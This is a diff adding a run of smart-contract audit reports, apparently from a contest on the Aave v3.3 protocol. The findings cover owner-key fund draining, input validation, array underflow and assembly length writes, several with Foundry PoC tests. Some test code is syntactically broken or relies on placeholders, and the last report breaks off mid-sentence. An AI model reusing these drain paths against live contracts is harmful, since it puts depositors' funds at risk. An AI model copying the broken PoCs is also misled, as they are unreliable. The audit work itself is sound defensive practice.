'forge-std/Test.sol'; +import {AaveOracle} from '../../src/contracts/misc/AaveOracle.sol'; +import {WrappedTokenGatewayV3} from '../../src/contracts/helpers/WrappedTokenGatewayV3.sol'; +import {AaveProtocolDataProvider} from '../../src/contracts/helpers/AaveProtocolDataProvider.sol'; +import {AToken} from '../../src/contracts/protocol/tokenization/AToken.sol'; +import {VariableDebtToken} from '../../src/contracts/protocol/tokenization/VariableDebtToken.sol'; +import {DataTypes} from '../../src/contracts/protocol/libraries/types/DataTypes.sol'; +import {EIP712SigUtils} from '../utils/EIP712SigUtils.sol'; +import {TestnetProcedures} from '../utils/TestnetProcedures.sol'; +import '../../src/deployments/interfaces/IMarketReportTypes.sol'; + +contract WrappedTokenGatewayTests is TestnetProcedures { + WrappedTokenGatewayV3 internal wrappedTokenGatewayV3; + + uint256 internal depositSize = 5e18; + uint256 internal usdxSize = 10000e18; + address WETH = 0x420000000000000000000000000000000000000A; + address owner = makeAddr('owner'); + address POOL = makeAddr('POOL'); + + function setUp() public { + wrappedTokenGatewayV3 = new WrappedTokenGatewayV3(WETH, owner, IPool(POOL)); + } + + function test_InvalidFunctionWethCallOnMetis() public { + vm.deal(alice, 100e18); + vm.prank(alice); + wrappedTokenGatewayV3.depositETH{value: depositSize}(report.poolProxy, alice, 0); + } +} + +``` + + +Output is as seen below + +```terminal + [31864] WrappedTokenGatewayTests::test_InvalidFunctionWethCallOnMetis() + ├─ [0] VM::deal(0x0000000000000000000000000000000000000000, 100000000000000000000 [1e20]) + │ └─ ← [Return] + ├─ [0] VM::prank(0x0000000000000000000000000000000000000000) + │ └─ ← [Return] + ├─ [10043] WrappedTokenGatewayV3::depositETH{value: 5000000000000000000}(0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0) + │ ├─ [45] OVM_ETH::deposit{value: 5000000000000000000}() + │ │ └─ ← [Revert] EvmError: Revert + │ └─ ← [Revert] EvmError: Revert + └─ ← [Revert] EvmError: Revert + +Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.16s (1.78ms CPU time) +``` + +Call fails at `WETH.deposit{value: msg.value}();` call in `WrappedTokenGatewayV3.depositETH()`. OVM_ETH is the name of the token contract designated to be WETH on METIS. + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/054.md b/054.md new file mode 100644 index 0000000..03e391a --- /dev/null +++ b/054.md @@ -0,0 +1,41 @@ +Obedient Lava Monkey + +Medium + +# Division by zero in `cumulateToLiquidityIndex` function can halt reserve functionality. + +### Summary: +A lack of a zero-check for `totalLiquidity` in `cumulateToLiquidityIndex` will cause a **transaction revert** for **protocol users**, as the function will attempt to divide by zero during liquidity index updates. + +--- + +### Root Cause: +In [ReserveLogic.sol](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L125), the `amount.wadToRay().rayDiv(totalLiquidity.wadToRay())` computation does not check if `totalLiquidity` is zero, resulting in a revert. + +--- + +### Internal Pre-conditions: +1. The reserve must have `totalLiquidity` set to exactly `0` (e.g., during initialization or if fully drained). +2. A function invoking `cumulateToLiquidityIndex` (e.g., fee accumulation) must be called. + +--- + +### External Pre-conditions: +1. No liquidity providers have deposited into the reserve, or all liquidity has been withdrawn. + +--- + +### Attack Path: +1. **Any user or external contract** calls a function that attempts to accumulate income to the liquidity index. +2. The call triggers `cumulateToLiquidityIndex`, which attempts to divide `amount` by `totalLiquidity`. +3. As `totalLiquidity` is zero, the transaction reverts, halting the operation. + +--- + +### Impact: +The **protocol functionality halts**, preventing fees (e.g., flash loan fees) from being distributed and disrupting reserve operations. No direct loss occurs, but user actions dependent on this functionality (e.g., supply or withdrawal) are blocked. + +--- + +### Mitigation: +Add a guard condition to ensure `totalLiquidity` is non-zero before performing the division. \ No newline at end of file diff --git a/055.md b/055.md new file mode 100644 index 0000000..47ddadb --- /dev/null +++ b/055.md @@ -0,0 +1,47 @@ +Obedient Lava Monkey + +Medium + +# Incorrect handling of `lastUpdateTimestamp` can lead to skipped state updates. + +### Summary: +If `reserve.lastUpdateTimestamp` matches `block.timestamp`, **state updates are skipped** for **reserve data**, as the system assumes no meaningful time has elapsed, causing **loss of accrued interest** or **inconsistent reserve state**. + +--- + +### Root Cause: +[The check](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L98-L100) `if (reserveCache.reserveLastUpdateTimestamp == uint40(block.timestamp)) { return; }` prevents updates to indexes and treasury accruals when the timestamp matches, even when meaningful actions (e.g., liquidity changes) occur in the same block. + +--- + +### Internal Pre-conditions: +1. `reserve.lastUpdateTimestamp` is set to the current block's `timestamp`. +2. A function triggering `updateState` is called again within the same block (e.g., consecutive liquidity updates or flash loan repayments). + +--- + +### External Pre-conditions: +1. A user or contract interaction (e.g., deposit, borrow, or repay) triggers reserve updates multiple times within a single block. + +--- + +### Attack Path: +1. A user calls a function that triggers `updateState`, setting `lastUpdateTimestamp` to `block.timestamp`. +2. Another function (e.g., a repay or flash loan) is called within the same block. +3. The state update logic is skipped due to the timestamp match, resulting in missed updates to indexes and treasury accruals. + +--- + +### Impact: +- The **protocol treasury** loses accrued fees or interest for actions performed in the same block. +- **Users and the protocol** face inconsistent reserve states, as changes are not reflected correctly. + +--- + +### Mitigation: +Replace the strict timestamp equality check with a condition that allows updates for meaningful reserve changes: +```solidity +if (reserveCache.reserveLastUpdateTimestamp == uint40(block.timestamp) && liquidityAdded == 0 && liquidityTaken == 0) { + return; +} +``` \ No newline at end of file diff --git a/056.md b/056.md new file mode 100644 index 0000000..9ec5fab --- /dev/null +++ b/056.md @@ -0,0 +1,39 @@ +Obedient Lava Monkey + +Medium + +# Setting `reserveFactor` to 100% Eliminates Liquidity Provider Yield and Risks Protocol Liquidity Drain + +**Summary:** +If the `reserveFactor` is set to 100%, all interest accruals are directed to the treasury, effectively eliminating future yield for liquidity providers. While this is handled correctly in the code, it creates significant economic risks as liquidity providers lose incentives to supply liquidity, potentially destabilizing the protocol. + +--- + +**Root Cause:** +In [_accrueToTreasury](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L238) in `ReserveLogic.sol`, the function calculates the portion of accrued interest to allocate to the treasury using `totalDebtAccrued.percentMul(reserveCache.reserveFactor)`. When `reserveFactor` is set to 100% (10,000 basis points), the entire accrued interest is allocated to the treasury. This results in the `currLiquidityRate` becoming 0, meaning liquidity providers earn no yield on their deposits. The protocol allows this configuration without enforcing an upper limit on `reserveFactor`, leaving it vulnerable to governance misconfiguration or malicious action. + +--- + +**Internal Pre-conditions:** +- The admin or governance sets the `reserveFactor` to exactly 100% using the reserve configuration. + +**External Pre-conditions:** +- The protocol operates normally with interest accrual on reserves (e.g., borrow interest from users). + +--- + +**Attack Path:** +1. The admin sets the `reserveFactor` to 100%. +2. All accrued interest is directed to the treasury, and the `currLiquidityRate` becomes 0. +3. Liquidity providers stop earning any yield on their deposits, discouraging participation. +4. Reduced liquidity in the protocol impacts the protocol's ability to service loans or support user operations. + +--- + +**Impact:** +Liquidity providers earn no yield, leading to reduced incentives for depositing funds into the protocol. Over time, this can result in a liquidity exodus, impairing the protocol's ability to function effectively. The protocol could also suffer reputational harm due to governance misconfiguration risks. + +--- + +**Mitigation:** +Enforce a maximum cap on `reserveFactor` (e.g., 90%) to ensure that at least a portion of the interest is always distributed to liquidity providers. \ No newline at end of file diff --git a/057.md b/057.md new file mode 100644 index 0000000..c6ba8cd --- /dev/null +++ b/057.md @@ -0,0 +1,116 @@ +Massive Crimson Cougar + +High + +# Ownership control can lead to asset mismanagement or malicious exploitation if compromised consider multi ownership + +#### **Ownership Privileges** +**Impact:** Ownership control can lead to asset mismanagement or malicious exploitation if compromised. +**Proof of Concept (PoC):** An attacker who gains access to the owner's private key can execute emergency functions such as emergencyTokenTransfer or emergencyEtherTransfer to drain assets from the contract. +**Affected Functions:** +- emergencyTokenTransfer(address token, address to, uint256 amount) +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L164-L166 + +- emergencyEtherTransfer(address to, uint256 amount) +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L174-L176 +--- + +### **Details:** + +#### **Description:** +The WrappedTokenGatewayV3 contract assigns privileged roles to the owner, allowing it to perform critical operations, such as: +- Recovering ERC20 tokens mistakenly sent to the contract (emergencyTokenTransfer). +- Withdrawing native Ether (emergencyEtherTransfer). + +While these functions are necessary for emergency asset recovery, their misuse (e.g., due to compromised owner credentials) can lead to catastrophic losses. The privileges allow the owner to arbitrarily transfer assets, creating a single point of failure. + +#### **Impact:** +A malicious or compromised owner can: +1. Drain ERC20 tokens or native ETH from the contract. +2. Disrupt user confidence in the system, affecting its overall utility and reputation. + +--- + +### **Proof of Concept (PoC):** + +1. Suppose an attacker gains control over the owner's private key. +2. The attacker calls the following function to drain Ether from the contract: + ```solidity + emergencyEtherTransfer(attackerAddress, contractBalance); + ``` +3. The attacker also drains ERC20 tokens by calling: + ```solidity + emergencyTokenTransfer(tokenAddress, attackerAddress, tokenBalance); + ``` + +--- + +### **Recommended Mitigation:** + +1. **Multisignature Wallet:** + Replace the single-owner model with a multisignature wallet (e.g., Gnosis Safe). This requires multiple authorized accounts to approve sensitive transactions, reducing the risk of a single point of failure. + +2. **Time-Locked Operations:** + Introduce a time-lock mechanism for emergency functions. Transactions must wait a predefined period before execution, allowing users to monitor and act if a malicious transaction is queued. + +3. **Access Control Audits:** + Implement additional checks to restrict the usage of emergency functions. For instance: + - Limit asset recovery functions to trusted addresses or contracts only. + - Add role-based access controls for enhanced privilege segregation. + +4. **Event Emissions:** + Emit detailed events for all privileged function calls, enabling off-chain monitoring for anomalies. + +5. **Ownership Transfer:** + Provide a mechanism to transfer ownership in case of a compromise or allow a DAO to govern the contract to align it with decentralized principles. + +--- + +### **Code Example for Mitigation:** + +#### **Multisignature Wallet Integration:** +Replace Ownable with a contract compatible with multisig (e.g., OpenZeppelin's AccessControl): +```solidity +import {AccessControl} from '@openzeppelin/contracts/access/AccessControl.sol'; + +contract WrappedTokenGatewayV3 is AccessControl { + bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE"); + + constructor(address[] memory owners) { + for (uint256 i = 0; i < owners.length; i++) { + _setupRole(OWNER_ROLE, owners[i]); + } + _setRoleAdmin(OWNER_ROLE, OWNER_ROLE); + } + + function emergencyEtherTransfer(address to, uint256 amount) external { + require(hasRole(OWNER_ROLE, msg.sender), "Caller is not an owner"); + _safeTransferETH(to, amount); + } +} +``` + +#### **Time-Lock Implementation:** +Introduce a delay for sensitive functions: +```solidity +contract TimeLock { + uint256 public constant TIMELOCK_DURATION = 24 hours; + mapping(bytes32 => uint256) public queuedTransactions; + + function queueTransaction(bytes32 txHash) public { + require(queuedTransactions[txHash] == 0, "Transaction already queued"); + queuedTransactions[txHash] = block.timestamp + TIMELOCK_DURATION; + } + + function executeTransaction(bytes32 txHash) public { + require(queuedTransactions[txHash] > 0, "Transaction not queued"); + require(block.timestamp >= queuedTransactions[txHash], "Transaction time lock not expired"); + delete queuedTransactions[txHash]; + // Execute transaction logic... + } +} +``` + +--- + +By adopting these mitigations, the WrappedTokenGatewayV3 contract can significantly enhance the security of its emergency functions, safeguarding against ownership abuse or compromise. \ No newline at end of file diff --git a/058.md b/058.md new file mode 100644 index 0000000..1f1af61 --- /dev/null +++ b/058.md @@ -0,0 +1,78 @@ +Massive Crimson Cougar + +Medium + +# Incorrect use of bitwise operations masks and shifts can lead to misconfigurations + +#### **Bitmask Manipulation** + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L99-L102 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L153 + +**Impact:** Incorrect use of bitwise operations masks and shifts can lead to misconfigurations, overwriting unrelated fields in the ReserveConfiguration bitmap, and potentially destabilizing the protocol. + +### **Details:** + +#### **Description:** +The ReserveConfiguration library uses bitwise operations to pack multiple configuration parameters into a single uint256 value self.data. Each parameter is represented by a specific range of bits, isolated using predefined masks and shift positions. Improper use of these masks and positions can result in: +1. Overwriting unrelated bits, corrupting reserve configurations. +2. Reading invalid data due to an incorrect mask or shift. +3. Logical errors during parameter updates, leading to unexpected behaviour. + +#### **Impact:** +Bitmask manipulation errors could: +- Cause the contract to operate with incorrect reserve parameters, affecting liquidation thresholds, caps, or flags. +- Create unintended borrowing or freezing behaviour, potentially locking user funds or enabling unauthorized actions. +- Lead to cascading failures in other parts of the protocol reliant on these configurations. + +### **Proof of Concept (PoC):** + +**Example of Bitmask Misuse:** + +```solidity +uint256 incorrectMask = ReserveConfiguration.LTV_MASK << 4; // Incorrect shift +self.data = (self.data & ~incorrectMask) | (newLtv << 20); +``` + +In this example: +```solidity +1. An incorrect shift (<< 4) creates a misaligned mask. +2. This overwrites unrelated fields in self.data, corrupting the reserve's configuration. +``` + +**Impact in a Live Scenario:** +If the setLtv function is misused: +1. It could inadvertently overwrite the Liquidation Threshold or Borrowing Enabled bits, making the reserve unusable. +2. A misconfiguration may allow users to borrow more than allowed, leading to insolvency risk. + +### **Recommended Mitigation:** +**Assertions for Mask Validation:** + - Include runtime checks to validate masks and shifts during development. For instance: + ```solidity + require((mask & ~mask) == 0, "Invalid mask"); + require((shiftedMask & LTV_MASK) == 0, "Overlapping masks"); + ``` + +### **Code Example for Mask Validation:** + +#### **Setter Example:** +```solidity +function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure { + require(ltv <= MAX_VALID_LTV, Errors.INVALID_LTV); + + uint256 clearedData = self.data & ~LTV_MASK; // Clear LTV bits + uint256 updatedData = clearedData | ltv; // Set new LTV + + require((updatedData & ~LTV_MASK) == (self.data & ~LTV_MASK), "Unrelated fields overwritten"); + + self.data = updatedData; +} +``` + +#### **Mask Generator Example:** +```solidity +function createMask(uint256 startBit, uint256 bitLength) internal pure returns (uint256) { + return ((1 << bitLength) - 1) << startBit; +} +``` \ No newline at end of file diff --git a/059.md b/059.md new file mode 100644 index 0000000..f4290f7 --- /dev/null +++ b/059.md @@ -0,0 +1,82 @@ +Glamorous Plum Baboon + +High + +# Unchecked Address Validations in Critical Functions in Pool Contract + +### Summary: +Certain functions that interact with critical state variables or external contracts fail to validate inputs thoroughly, specifically when dealing with addresses or parameters critical to the system's functionality. This oversight could lead to system instability or loss of functionality if invalid inputs are provided. + + +### Description: +Some key functions in the contract fail to validate input parameters adequately, particularly when working with addresses or parameters that have downstream effects. Below are examples of such issues: + +1. **`setReserveInterestRateStrategyAddress`**: + a, Validates that `asset` is a non-zero address but does not ensure that `rateStrategyAddress` is non-zero. + b, Potentially allows an invalid address (`address(0)`) to be set for the interest rate strategy, which could disrupt core functionality. + +2. **`setLiquidationGracePeriod`**: + a, Checks if `asset` exists but does not validate the `until` parameter. + b, This can allow improper or malicious inputs, such as a timestamp in the past or an unreasonably large value, leading to unexpected or unintended behavior. + +### Root Cause: +**Failure to perform complete input validation in the following lines of code (LoC):** + +1. **`setReserveInterestRateStrategyAddress` (LoC: XXX)**: + ```solidity + require(asset != address(0), "Errors.ZERO_ADDRESS_NOT_VALID"); + _rateStrategies[asset] = rateStrategyAddress; // No validation for rateStrategyAddress + ``` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L642-L650 + + + +2. **`setLiquidationGracePeriod` (LoC: 805)**: + ```solidity + require(assets[asset].exists, "Errors.INVALID_ASSET"); + assets[asset].liquidationGracePeriodUntil = until; // No validation for until parameter + ``` + +LoC + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L805-L811 + + +### Impact: +- Setting invalid inputs (e.g., `address(0)` for a critical address or improper timestamps) can cause the following risks: + - **Loss of functionality:** Invalid addresses or parameters may render critical processes inoperable. + - **System instability:** Malicious inputs could destabilize the system, leading to potential financial losses or downtime. + - **Operational complexity:** Troubleshooting and rectifying invalid states increase the operational burden. + + +### Proof of Concept (PoC): +1. **Unchecked `rateStrategyAddress` in `setReserveInterestRateStrategyAddress`:** + - Call the function with a valid `asset` but `rateStrategyAddress = address(0)`: + ```solidity + contract.setReserveInterestRateStrategyAddress(0x123456789abcdef, address(0)); + ``` + - Result: The `rateStrategyAddress` for the asset is set to `address(0)`, causing disruption. + +2. **Improper `until` parameter in `setLiquidationGracePeriod`:** + - Call the function with a valid `asset` but `until` set to a timestamp in the past: + ```solidity + contract.setLiquidationGracePeriod(0x123456789abcdef, block.timestamp - 1); + ``` + - Result: The `liquidationGracePeriodUntil` is set to a value that is already expired, destabilizing the liquidation process. + + +### Recommended Mitigation: +1. **Enhance Validation in `setReserveInterestRateStrategyAddress`:** + - Add a check to ensure that `rateStrategyAddress` is non-zero: + ```solidity + require(rateStrategyAddress != address(0), "Errors.ZERO_ADDRESS_NOT_VALID"); + ``` + +2. **Enhance Validation in `setLiquidationGracePeriod`:** + - Add a check to ensure that the `until` parameter is a valid timestamp in the future: + ```solidity + require(until > block.timestamp, "Errors.INVALID_TIMESTAMP"); + ``` + +By introducing these validations, the contract will be protected against invalid inputs that could compromise its functionality or security. \ No newline at end of file diff --git a/060.md b/060.md new file mode 100644 index 0000000..f4edf5c --- /dev/null +++ b/060.md @@ -0,0 +1,134 @@ +Glamorous Plum Baboon + +High + +# Improper Handling of Arrays in getReservesList + +### **Summary** +The function `getReservesList` improperly handles array operations by assuming that the index `i - droppedReservesCount` is always valid. In cases where `droppedReservesCount > i`, this assumption can lead to an underflow in older Solidity versions or a runtime revert in Solidity >= 0.8.0, potentially causing contract malfunction or crashes. + +### **Description** +The issue occurs within the following snippet of code: + +```solidity +if (_reservesList[i] != address(0)) { + reservesList[i - droppedReservesCount] = _reservesList[i]; +} else { + droppedReservesCount++; +} +``` + +The logic assumes that the index `i - droppedReservesCount` will always be valid. However, if the value of `droppedReservesCount` becomes greater than `i`, the subtraction results in an invalid index: +- In **Solidity versions < 0.8.0**, this would cause an underflow, leading to unintended behavior and potentially incorrect data storage. +- In **Solidity versions >= 0.8.0**, the subtraction will revert due to the introduction of overflow/underflow checks, resulting in the termination of the function execution. + +The issue arises because edge cases where `droppedReservesCount > i` are not explicitly handled. + +### **Root Cause** +The code assumes that `i - droppedReservesCount` will always be valid without accounting for cases where `droppedReservesCount > i`. This results in unsafe array operations. + +**Line of Code (LoC)**: +```solidity +reservesList[i - droppedReservesCount] = _reservesList[i]; +``` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L532-L542 + +### **Impact** +If this vulnerability is exploited, the following risks are present: +1. **Malfunction of the contract**: The function may not complete successfully, leading to unexpected behavior or incorrect array manipulation. +2. **Crash of the contract**: In Solidity >= 0.8.0, the function will revert when the invalid index is accessed, causing disruption to the contract's execution flow. + + + +### **Proof of Concept (PoC)** +Consider the following test scenario: +1. `_reservesList` contains an array of 5 elements where only the first element is non-zero. +2. `droppedReservesCount` is incremented with each zero address. +3. When processing the second element (`i = 1`), `droppedReservesCount = 1`, resulting in `1 - 1 = 0`. This is valid. +4. When processing the third element (`i = 2`), if `droppedReservesCount = 3` at that point, `i - droppedReservesCount = 2 - 3 = -1`. This causes: + - Underflow in Solidity < 0.8.0. + - Reversion in Solidity >= 0.8.0. + +Foundry Test Code: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; + +contract ReservesListTest is Test { + address[] private _reservesList; + address[] private reservesList; + uint256 private droppedReservesCount; + + function setUp() public { + // Initialize _reservesList with 5 elements, only the first is non-zero + _reservesList = new address _reservesList[0] = address(0x1); // Non-zero address + for (uint256 i = 1; i < 5; i++) { + _reservesList[i] = address(0); // Zero addresses + } + + // Initialize reservesList and droppedReservesCount + reservesList = new address ; + droppedReservesCount = 0; + } + + function testReservesListProcessing() public { + // Process the array + for (uint256 i = 0; i < _reservesList.length; i++) { + if (_reservesList[i] != address(0)) { + // Check that i - droppedReservesCount is valid + if (i >= droppedReservesCount) { + reservesList[i - droppedReservesCount] = _reservesList[i]; + } else { + // This should not happen if the logic is correct + fail("Invalid index calculation: underflow detected"); + } + } else { + droppedReservesCount++; + } + } + + // Assertions + assertEq(reservesList[0], address(0x1), "First element should be non-zero"); + for (uint256 i = 1; i < reservesList.length - droppedReservesCount; i++) { + assertEq(reservesList[i], address(0), "Other elements should remain zero"); + } + } + + function testReversionOnInvalidIndex() public { + // Simulate a condition where droppedReservesCount > i + droppedReservesCount = 3; + + vm.expectRevert(); // Expect the function to revert + reservesList[2 - droppedReservesCount] = _reservesList[2]; + } +} +``` + + +Run Test +forge test +This will verify both correct handling and edge case reversion for the issue. + + +### **Recommended Mitigation** +To fix this issue: +1. Use safe array operations that validate indices before assigning values. +2. Explicitly check that `i >= droppedReservesCount` before performing the subtraction. For example: + +```solidity +if (_reservesList[i] != address(0)) { + if (i >= droppedReservesCount) { + reservesList[i - droppedReservesCount] = _reservesList[i]; + } else { + // Handle edge case if necessary + } +} else { + droppedReservesCount++; +} +``` + +3. Alternatively, consider rewriting the logic to avoid relying on subtraction entirely. Use an additional index variable to keep track of valid elements instead. \ No newline at end of file diff --git a/061.md b/061.md new file mode 100644 index 0000000..ad2a186 --- /dev/null +++ b/061.md @@ -0,0 +1,147 @@ +Glamorous Plum Baboon + +High + +# Direct Memory Manipulation in getReservesList Risks Storage Corruption or Undefined Behavior + +### **Summary** +The use of low-level `assembly` code in the `getReservesList` function directly modifies memory without sufficient validation, increasing the risk of storage corruption and unintended behavior. Using Solidity's native array resizing methods would provide better safety and maintainability. + + +### **Description** +The `getReservesList` function employs `assembly` to manipulate memory by resizing the `reservesList` array: + +```solidity +assembly { + mstore(reservesList, sub(reservesListCount, droppedReservesCount)) +} +``` + +This operation subtracts `droppedReservesCount` from `reservesListCount` and stores the result in the memory location of the `reservesList` length. While this may optimize gas usage, it lacks robust checks, potentially leading to: + +1. Memory overwrites. +2. Corrupted data if `droppedReservesCount` exceeds `reservesListCount`. +3. Undefined behavior, especially when interacting with other functions that depend on `reservesList`. + + +### **Root Cause** +The root cause lies in **line of code (LoC)** where the assembly block modifies memory without any validation: + +```solidity +assembly { + mstore(reservesList, sub(reservesListCount, droppedReservesCount)) +} +``` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L545-L550 + + + +By directly overwriting memory, the contract bypasses Solidity’s built-in safety checks, exposing it to potential bugs and vulnerabilities. + + +### **Impact** +The impact of this issue includes: +- Corrupted or undefined values in `reservesList`, which may result in unintended behavior during subsequent contract interactions. +- Difficulty in debugging, as assembly code is not as readable or maintainable as native Solidity methods. +- Reduced safety due to bypassing Solidity’s array handling mechanisms, potentially leading to critical bugs. + + +### **Proof of Concept (PoC)** +1. Set `reservesListCount` to 5 and `droppedReservesCount` to 6. +2. The subtraction results in a negative value, which will be interpreted as a very large positive integer when cast to an unsigned integer. +3. This can overwrite memory locations and result in unpredictable behavior. + + +### **Foundry Test Code** +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.17; + +import "forge-std/Test.sol"; + +contract AssemblyMemoryManipulationTest is Test { + function testReservesListMemoryManipulation() public { + // Step 1: Create a memory array with 5 elements + uint256; + + // Step 2: Set reservesListCount and droppedReservesCount + uint256 reservesListCount = 5; + uint256 droppedReservesCount = 6; + + // Step 3: Simulate the assembly operation that causes the issue + assembly { + mstore(reservesList, sub(reservesListCount, droppedReservesCount)) + } + + // Step 4: Assert that the length of reservesList is corrupted + uint256 corruptedLength; + assembly { + corruptedLength := mload(reservesList) + } + console.log("Corrupted Length:", corruptedLength); + + // Ensure the corruptedLength is unexpectedly large due to underflow + assertTrue(corruptedLength > reservesListCount, "Corrupted length should be greater than original"); + + // Step 5: Attempt to access the array to demonstrate undefined behavior + vm.expectRevert(); // Expect it to revert when accessing corrupted indices + uint256 value = reservesList[0]; // This might revert or cause an out-of-bounds error + } +} +``` + + +### **Explanation** +1. **Setup:** + - A memory array (`reservesList`) with 5 elements is created. + - Two variables, `reservesListCount` (5) and `droppedReservesCount` (6), are set. + +2. **Assembly Manipulation:** + - The assembly block modifies the memory location of the array length using the subtraction `reservesListCount - droppedReservesCount`. This results in underflow because `5 - 6` is negative, which in unsigned integers translates to a very large number. + +3. **Assertions:** + - The test reads the corrupted array length directly from memory to verify it is abnormally large. + - It ensures the corrupted length is greater than the original, demonstrating the underflow. + +4. **Proof of Undefined Behavior:** + - Attempting to access the corrupted array triggers undefined behavior, such as out-of-bounds memory access, which reverts the transaction. The test anticipates this by using `vm.expectRevert`. + +--- + +### ** Run the Test** + ```bash + forge test -vv + ``` + +### **Output** +1. The test log the corrupted length as a very large integer. +2. The test revert when accessing the corrupted array due to undefined behavior, confirming the issue. + +This proves the vulnerability caused by direct memory manipulation and the need to replace it with safer methods. + + + +### **Recommended Mitigation** +Replace the use of assembly with a safer alternative provided by Solidity: +1. Use native array resizing methods, such as array slicing or manual copying, to modify the `reservesList` length. +2. Add validation to ensure that `droppedReservesCount` does not exceed `reservesListCount`. + +Example fix: + +```solidity +require(droppedReservesCount <= reservesListCount, "Invalid droppedReservesCount"); + +uint256 newLength = reservesListCount - droppedReservesCount; +uint256[] memory resizedReservesList = new uint256[](newLength); + +// Copy original elements (if needed) into resized array +for (uint256 i = 0; i < newLength; i++) { + resizedReservesList[i] = reservesList[i]; +} + +// Assign resized array back to reservesList +reservesList = resizedReservesList; +``` + +By avoiding low-level memory manipulation, the contract gains better safety and readability without sacrificing functionality. \ No newline at end of file diff --git a/062.md b/062.md new file mode 100644 index 0000000..f5332ca --- /dev/null +++ b/062.md @@ -0,0 +1,145 @@ +Glamorous Plum Baboon + +Medium + +# Lack of Limits or Validation on `amount` Parameter in `rescueTokens` Function + +#### **Summary** +The `rescueTokens` function in the contract allows a privileged user (the `onlyPoolAdmin`) to rescue tokens from the pool by specifying the token, recipient, and amount. However, the `amount` parameter lacks adequate limits or validation, allowing an admin to rescue all tokens from the contract, including tokens intended for reserves or other purposes. This issue introduces the risk of centralized abuse or accidental mismanagement of funds. + +#### **Description** +The `rescueTokens` function is designed to provide a mechanism for administrators to recover mistakenly sent or trapped tokens from the pool. While the intention of the function is valid, the implementation does not enforce any constraints or validations on the `amount` parameter. As a result: + +1. **Unintended Risks**: An admin could inadvertently rescue all tokens of a specific type, even those critical to the protocol's operation (e.g., reserve tokens or liquidity pool assets). +2. **Centralized Abuse**: A malicious admin could misuse this functionality to drain funds from the pool. + +The issue stems from the absence of logic to validate the type of token and the maximum amount that can be rescued. + + + +#### **Root Cause** +The function does not validate the `amount` parameter or ensure that the tokens being rescued are non-essential to the protocol's functionality. The relevant line of code (LoC) is as follows: + +```solidity +PoolLogic.executeRescueTokens(token, to, amount); +``` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L814-L820 + + +This line directly calls the `executeRescueTokens` function in the `PoolLogic` contract without any prior checks to ensure that: +1. The `amount` is within reasonable limits. +2. The `token` being rescued is not a reserve or critical asset. + + + +#### **Impact** +The lack of validation exposes the protocol to two main risks: + +1. **Fund Mismanagement**: An admin could accidentally rescue all tokens of a given type, disrupting the protocol's liquidity or operations. +2. **Centralized Abuse**: A malicious admin could intentionally drain all tokens from the contract, leading to significant financial loss for users. + +This issue increases the protocol's exposure to both intentional and accidental misuse by privileged actors. + + + +#### **Proof of Concept (PoC)** +Consider the following scenario: + +1. Assume the contract holds 1,000 USDC as reserves for liquidity purposes. +2. The `onlyPoolAdmin` executes the following call: + ```solidity + rescueTokens(USDC, adminAddress, 1000); + ``` +3. All 1,000 USDC tokens are transferred to the admin’s address, leaving the protocol without reserves. + +The lack of validation allows such a call to succeed, demonstrating the issue. + + + +### Test for `rescueTokens` Vulnerability + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import "openzeppelin-contracts/token/ERC20/ERC20.sol"; + +contract RescueTokensTest is Test { + YourContract public contractInstance; + ERC20 public usdc; + address public admin = address(0xABCD); // Admin address + address public recipient = address(0x1234); // Recipient address + + function setUp() public { + // Deploy mock USDC token + usdc = new ERC20("Mock USDC", "USDC"); + + // Deploy the main contract and set the admin + contractInstance = new YourContract(); + contractInstance.setPoolAdmin(admin); + + // Mint 1,000 USDC to the contract + vm.startPrank(admin); // Ensure admin calls the setup + usdc.transfer(address(contractInstance), 1000 ether); + vm.stopPrank(); + } + + function testRescueTokensVulnerability() public { + // Assert that the contract initially holds 1,000 USDC + assertEq(usdc.balanceOf(address(contractInstance)), 1000 ether); + + // Admin rescues 1,000 USDC + vm.startPrank(admin); + contractInstance.rescueTokens(address(usdc), recipient, 1000 ether); + vm.stopPrank(); + + // Assert that the recipient now holds the rescued 1,000 USDC + assertEq(usdc.balanceOf(recipient), 1000 ether); + + // Assert that the contract's USDC balance is now zero + assertEq(usdc.balanceOf(address(contractInstance)), 0); + } +} +``` +NB: import your contract path to the test, i forgot to add mine + + +### Explanation: + +1. **Setup Phase (`setUp`):** + - Deploys a mock USDC token using OpenZeppelin's `ERC20` implementation. + - Deploys the main contract (`YourContract`) and sets the admin. + - Mints and transfers 1,000 USDC to the contract. + +2. **Test Case (`testRescueTokensVulnerability`):** + - Ensures the contract 